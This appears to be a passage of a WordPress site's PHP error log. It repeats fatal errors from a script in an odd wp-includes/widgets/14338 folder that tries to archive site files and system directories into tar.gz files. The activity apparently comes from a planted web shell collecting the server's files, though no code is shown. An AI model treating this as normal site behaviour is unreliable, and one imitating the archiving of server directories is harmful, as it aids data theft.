#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:27:06 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/cracklib/pw_dict.hwm" that is not in the base directory "/lib64" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:29:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rss-2x.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:30:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-embed-template.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:32:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/install.xml.xml.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:33:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wpspin.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:33:48 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-ajax-response.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:34:06 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/3954610" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:34:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-custom-header.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:34:14 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/3993761" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:34:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/acpi.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:34:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/arrow-pointer-blue.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:34:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/header-embed.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:35:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-pointer.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:35:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-auth-check.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:36:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rss.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:37:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/arrow-pointer-blue-2x.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:38:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-list-revisions.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:39:21 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/tmp" that is not in the base directory "/var" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:39:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comments-pagination-previous.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:40:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-comments-form.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:41:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:42:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/install.xml.xml.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:44:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/freeform.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:44:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/query-pagination-previous.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:45:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comment-reply-link.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:47:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/site-title.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:48:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-author-biography.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:51:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/LICENSE.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:53:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/namespaced.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:54:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:06:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-backbone.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:06:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-sanitize.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:07:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/heartbeat.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:07:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/namespaced.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:07:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-util.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:09:00 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1366226336 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:09:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/categories.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:09:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dashicons.woff2.woff2.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:10:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/hoverIntent.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:10:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wpdialog.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:10:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media-views.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:10:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/gallery.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:10:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/navigation-submenu.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:11:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/backbone.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:11:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/zxcvbn-async.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:11:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/navigation.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:11:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/pattern.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:11:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/page-list-item.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:11:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/down_arrow.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:11:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-terms.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
